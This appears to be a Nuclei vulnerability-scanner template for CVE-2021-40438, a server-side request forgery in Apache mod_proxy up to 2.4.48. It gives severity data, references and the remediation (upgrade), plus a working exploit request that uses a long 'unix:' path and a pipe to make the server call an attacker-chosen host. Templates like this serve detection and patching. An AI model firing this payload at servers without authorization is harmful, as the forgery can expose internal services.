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id : CVE-2021-40438
info :
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name : Apache <= 2.4.48 - Mod_Proxy SSRF
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author : pdteam
severity : critical
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description : Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
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reference :
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
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- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
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remediation : Upgrade to Apache version 2.4.49 or later.
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score : 9
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cve-id : CVE-2021-40438
cwe-id : CWE-918
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epss-score : 0.97517
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tags : cve,cve2021,ssrf,apache,mod-proxy,kev
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metadata :
max-request : 1
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http :
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- method : GET
path :
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- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'
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host-redirects : true
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max-redirects : 2
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matchers-condition : and
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matchers :
- type : word
words :
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- "Interactsh Server"
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- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
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# Enhanced by mp on 2022/04/22
